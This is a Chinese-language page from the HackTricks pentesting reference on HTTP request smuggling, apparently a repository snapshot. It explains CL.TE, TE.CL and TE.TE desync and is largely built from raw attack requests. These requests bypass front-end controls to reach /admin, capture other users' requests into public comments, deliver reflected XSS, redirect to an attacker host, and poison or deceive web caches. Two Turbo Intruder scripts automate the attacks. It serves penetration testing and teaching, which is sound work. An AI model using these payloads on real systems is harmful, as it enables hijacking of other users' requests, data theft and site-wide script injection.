hacktricks/pentesting-web/http-request-smuggling
2024-02-05 20:18:17 +00:00
..
browser-http-request-smuggling.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:18:17 +00:00
README.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:18:17 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:18:17 +00:00

HTTP 请求串行攻击 / HTTP Desync 攻击

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

什么是

前端代理后端服务器之间发生不同步时,会出现此漏洞,使得攻击者能够发送一个 HTTP 请求,在前端代理(负载均衡/反向代理)中被解释为单个请求,而在后端服务器中被解释为2个请求
这使得用户能够在后端服务器接收到他之后的下一个请求之前修改请求。

理论

RFC 规范2161

如果接收到同时具有传输编码头字段和内容长度头字段的消息,则必须忽略后者。

Content-Length

Content-Length 实体头指示发送给接收方的实体主体的字节数。

Transfer-Encoding: chunked

Transfer-Encoding 头指定用于安全传输有效载荷主体的编码形式。
Chunked 意味着大数据以一系列块的形式发送

现实情况

前端(负载均衡 / 反向代理)处理 content-lengthtransfer-encoding 头,而后端服务器处理另一个头,导致这两个系统之间的不同步
这可能非常危险,因为攻击者将能够向反向代理发送一个请求,该请求将被前端服务器根据content-length解释为整个请求,而后端服务器则会根据transfer-encoding: chunked头将请求解释为2个不同的请求。这种技术的危险在于后端服务器将解释注入的第二个请求,就好像它来自下一个客户端,而该客户端的真实请求将成为注入请求的一部分。

特殊情况

请记住,在 HTTP 中,一个新行字符由 2 个字节组成

  • Content-Length:此头使用十进制数表示请求主体的字节数。预期请求主体在最后一个字符结束,在请求末尾不需要新行
  • Transfer-Encoding::此头在主体中使用十六进制数表示下一个块字节数必须以新行结尾,但此新行不计入长度指示符。此传输方法必须以大小为 0 的块后跟 2 个新行结束:0
  • Connection:根据我的经验,建议在请求串行的第一个请求中使用**Connection: keep-alive**。

基本示例

HTTP 请求串行攻击是通过发送模糊请求来利用前端和后端服务器解释 Content-LengthCLTransfer-EncodingTE头的差异而制作的。这些攻击可以以不同形式出现主要为 CL.TETE.CLTE.TE。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理同一请求,导致意外且可能恶意的结果。

漏洞类型的基本示例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE 漏洞(前端使用 Content-Length后端使用 Transfer-Encoding

  • 前端CL:根据 Content-Length 头处理请求。
  • 后端TE:根据 Transfer-Encoding 头处理请求。
  • 攻击场景:
  • 攻击者发送一个请求,其中 Content-Length 头的值与实际内容长度不匹配。
  • 前端服务器根据 Content-Length 值将整个请求转发到后端。
  • 后端服务器由于 Transfer-Encoding: chunked 头处理请求为分块,将剩余数据解释为一个单独的后续请求。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 漏洞(前端使用 Transfer-Encoding后端使用 Content-Length

  • 前端TE:根据 Transfer-Encoding 头处理请求。
  • 后端CL:根据 Content-Length 头处理请求。
  • 攻击场景:
  • 攻击者发送一个分块请求,其中块大小(7b)和实际内容长度(Content-Length: 4)不对齐。
  • 前端服务器根据 Transfer-Encoding 转发整个请求到后端。
  • 后端服务器根据 Content-Length 处理请求,仅处理请求的初始部分(7b 字节),将其余部分留作意外的后续请求的一部分。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE 漏洞(两者都使用 Transfer-Encoding通过混淆

  • 服务器: 两者都支持 Transfer-Encoding,但可以通过混淆使其中一个服务器无法识别。
  • 攻击场景:
  • 攻击者发送一个带有混淆的 Transfer-Encoding 头的请求。
  • 取决于哪个服务器(前端或后端)无法识别混淆,可能会利用 CL.TE 或 TE.CL 漏洞。
  • 由其中一个服务器看到的请求的未处理部分将成为后续请求的一部分,导致串行攻击。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL 场景(前端和后端都使用 Content-Length

  • 两个服务器仅根据 Content-Length 头处理请求。
  • 通常,此场景不会导致串行攻击,因为两个服务器在解释请求长度方面是一致的。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

正常请求

CL != 0 场景:

  • 指的是 Content-Length 头存在且值不为零,表示请求主体具有内容的情况。
  • 这对于理解和制作串行攻击至关重要,因为它影响服务器如何确定请求的结束。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

非空主体

通过逐跳头强制

滥用逐跳头,您可以指示代理删除 Content-Length 或 Transfer-Encoding 头,从而可能滥用 HTTP 请求串行攻击。

Connection: Content-Length

有关逐跳头信息的更多信息,请访问:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

查找HTTP请求走私

通常可以使用时间技术来识别HTTP请求走私漏洞这些技术依赖于观察服务器对操纵请求的响应时间。这些技术特别适用于检测CL.TE和TE.CL漏洞。除了这些方法还有其他策略和工具可用于查找此类漏洞

使用时间技术查找CL.TE漏洞

  • 方法:
  • 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 观察:

  • 前端服务器根据Content-Length处理请求并过早截断消息。

  • 后端服务器期望收到一个分块消息,等待下一个从未到达的分块,导致延迟。

  • 指标:

  • 响应超时或长时间延迟。

  • 从后端服务器收到400 Bad Request错误有时包含详细的服务器信息。

使用时间技术查找TE.CL漏洞

  • 方法:
  • 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 观察:
  • 前端服务器根据Transfer-Encoding处理请求并转发整个消息。
  • 后端服务器期望根据Content-Length接收消息,等待从未到达的额外数据,导致延迟。

查找漏洞的其他方法

  • 差异响应分析:

  • 发送略有变化的请求版本,并观察服务器响应是否以意外方式不同,指示解析差异。

  • 使用自动化工具:

  • 像Burp Suite的'HTTP Request Smuggler'扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。

  • Content-Length变化测试:

  • 发送具有不与实际内容长度对齐的不同Content-Length值的请求,并观察服务器如何处理这种不匹配。

  • Transfer-Encoding变化测试:

  • 发送具有混淆或格式错误的Transfer-Encoding头的请求,并监视前端和后端服务器对这种操纵的不同响应。

HTTP请求走私漏洞测试

在确认时间技术的有效性后,验证客户端请求是否可被操纵至关重要。一种简单的方法是尝试操纵您的请求,例如,使对/的请求产生404响应。在基本示例中先前讨论的CL.TETE.CL示例演示了如何操纵客户端请求以引发404响应尽管客户端的目标是访问不同的资源。

关键考虑事项

在通过干扰其他请求测试请求走私漏洞时,请记住:

  • 不同的网络连接: “攻击”和“正常”请求应通过不同的网络连接发送。在两者上使用相同连接不会验证漏洞的存在。
  • 一致的URL和参数: 务必为两个请求使用相同的URL和参数名称。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些内容增加了两个请求由同一服务器处理的可能性这是成功攻击的先决条件。
  • 时间和竞争条件: “正常”请求旨在检测来自“攻击”请求的干扰,与其他并发应用程序请求竞争。因此,应立即在“攻击”请求之后发送“正常”请求。繁忙的应用程序可能需要多次尝试才能得出结论性的漏洞确认。
  • 负载均衡挑战: 充当负载均衡器的前端服务器可能会将请求分发到不同的后端系统。如果“攻击”和“正常”请求最终进入不同的系统,攻击将不会成功。这种负载均衡方面可能需要多次尝试才能确认漏洞。
  • 意外用户影响: 如果您的攻击意外影响了另一个用户的请求(而不是您发送用于检测的“正常”请求),这表明您的攻击影响了另一个应用程序用户。持续测试可能会干扰其他用户,需要谨慎处理。

滥用HTTP请求走私

绕过前端安全控制

通过HTTP请求走私绕过前端安全

有时前端代理实施安全措施审查传入请求。然而通过利用HTTP请求走私可以绕过这些措施从而未经授权地访问受限端点。例如外部可能禁止访问/admin前端代理会主动阻止此类尝试。然而该代理可能忽略了走私HTTP请求中嵌入的请求为绕过这些限制留下了漏洞。

考虑以下示例说明如何使用HTTP请求走私绕过前端安全控制特别是针对通常由前端代理保护的/admin路径:

CL.TE示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

在 CL.TE 攻击中,利用 Content-Length 头部进行初始请求,而后续嵌入的请求利用 Transfer-Encoding: chunked 头部。前端代理处理初始的 POST 请求,但未检查嵌入的 GET /admin 请求,从而允许未经授权访问 /admin 路径。

TE.CL 示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

相反在TE.CL攻击中初始的POST请求使用Transfer-Encoding: chunked,而后续嵌入的请求则基于Content-Length头进行处理。与CL.TE攻击类似前端代理忽略了携带的GET /admin请求,无意中授予对受限/admin路径的访问权限。

揭示前端请求重写

应用程序通常使用前端服务器在将请求传递给后端服务器之前修改传入请求。典型的修改包括添加头部,例如X-Forwarded-For: <客户端的IP>以将客户端的IP传递给后端。了解这些修改可能至关重要因为这可能揭示绕过保护措施或揭示隐藏信息或端点的方法。

要调查代理如何修改请求请查找后端在响应中回显的POST参数。然后制作一个请求将此参数放在最后类似于以下内容

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

在这种结构中,后续请求组件被附加在search=之后,该参数在响应中反映出来。这种反射将暴露出后续请求的标头。

重要的是要将嵌套请求的Content-Length标头与实际内容长度对齐。从一个小值开始逐渐增加是明智的,因为值过低将截断反映的数据,而值过高可能会导致请求出错。

这种技术在TE.CL漏洞的情况下也适用但请求应以search=\r\n0结束。无论换行符是什么,这些值都将附加到搜索参数上。

这种方法主要用于理解前端代理所做的请求修改,实质上是进行自我导向的调查。

捕获其他用户的请求

通过在POST操作期间将特定请求附加为参数的值可以捕获下一个用户的请求。以下是如何实现这一点的方法

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

在这种情况下,comment参数旨在存储公开页面上帖子评论部分的内容。因此,随后请求的内容将显示为评论。

然而这种技术有局限性。通常它仅捕获直到被用于伪造请求的参数分隔符为止的数据。对于URL编码的表单提交这个分隔符是&字符。这意味着从受害用户请求中捕获的内容将在第一个&处停止,甚至可能是查询字符串的一部分。

此外值得注意的是这种方法在存在TE.CL漏洞时也是可行的。在这种情况下请求应以search=\r\n0结尾。无论换行符是什么,值都将附加到搜索参数上。

利用HTTP请求走私来利用反射型XSS

HTTP请求走私可用于利用易受反射型XSS攻击的网页,提供了显著优势:

  • 无需与目标用户交互
  • 允许利用通常无法获取的请求部分中的XSS如HTTP请求头。

在网站容易受到通过用户代理标头反射型XSS攻击的情况下以下有效载荷演示了如何利用这一漏洞

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

这个 payload 的结构用于利用漏洞:

  1. 发起一个 POST 请求,看似典型,带有 Transfer-Encoding: chunked 头部来指示开始进行走私。
  2. 接着是一个 0,标记了分块消息体的结束。
  3. 然后引入一个走私的 GET 请求,其中 User-Agent 头部被注入了一个脚本 <script>alert(1)</script>,当服务器处理这个后续请求时触发 XSS。

通过走私手段操纵 User-Agentpayload 能够绕过正常请求的限制,从而以非标准但有效的方式利用反射型 XSS 漏洞。

利用 HTTP 请求走私将站内重定向变成开放重定向

利用 HTTP 请求走私利用站内重定向

应用程序通常通过在重定向 URL 中使用 Host 头部中的主机名来从一个 URL 重定向到另一个。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠:

GET /home HTTP/1.1
Host: normal-website.com

结果如下:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

虽然看似无害但这种行为可以通过HTTP请求走私来操纵将用户重定向到外部网站。例如

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

这种走私请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

结果为:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

使用HTTP请求走私执行Web缓存投毒

利用HTTP请求走私进行Web缓存投毒

如果前端基础设施的任何组件缓存内容通常是为了提高性能那么就可以执行Web缓存投毒。通过操纵服务器的响应可以投毒缓存

之前我们观察到服务器响应可以被修改以返回404错误参考基本示例)。同样,可以欺骗服务器,使其在响应对/static/include.js的请求时提供/index.html内容。因此,/static/include.js的内容被/index.html替换在缓存中,使得用户无法访问/static/include.js可能导致拒绝服务DoS

如果发现开放重定向漏洞或存在站点重定向到开放重定向,则此技术变得特别强大。可以利用这些漏洞将/static/include.js的缓存内容替换为受攻击者控制的脚本,从而在所有请求更新的/static/include.js的客户端中实施广泛的跨站脚本XSS攻击。

以下是利用缓存投毒结合站点重定向到开放重定向的示例。目标是修改/static/include.js的缓存内容以提供受攻击者控制的JavaScript代码

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

注意嵌入的请求针对 /post/next?postId=3。该请求将被重定向到 /post?postId=4,利用Host 头值来确定域。通过修改Host 头,攻击者可以将请求重定向到他们的域 (站内重定向到开放重定向)。

成功进行socket 毒化后,应发起对 /static/include.jsGET 请求。该请求将受到之前的站内重定向到开放重定向请求的污染,并获取攻击者控制的脚本内容。

随后,任何对 /static/include.js 的请求都将提供攻击者脚本的缓存内容,有效地发起广泛的 XSS 攻击。

使用 HTTP 请求走私执行 Web 缓存欺骗

Web 缓存毒化和 Web 缓存欺骗有何区别?

  • Web 缓存毒化中,攻击者导致应用程序将一些恶意内容存储在缓存中,并从缓存中向其他应用程序用户提供此内容。
  • Web 缓存欺骗中,攻击者导致应用程序将属于另一用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。

攻击者构造了一个走私请求,用于获取敏感的用户特定内容。考虑以下示例:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

如果这个走私的请求毒害了一个用于静态内容的缓存条目(例如,/someimage.png),受害者的敏感数据可能会被缓存在静态内容的缓存条目下。因此,攻击者可能会潜在地检索这些缓存的敏感数据。

利用 HTTP 请求走私与 HTTP 响应解同步

您是否发现了一些 HTTP 请求走私漏洞,但不知道如何利用它。尝试这些其他利用方法:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo intruder 脚本

CL.TE

来源:https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

工具

参考资料

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式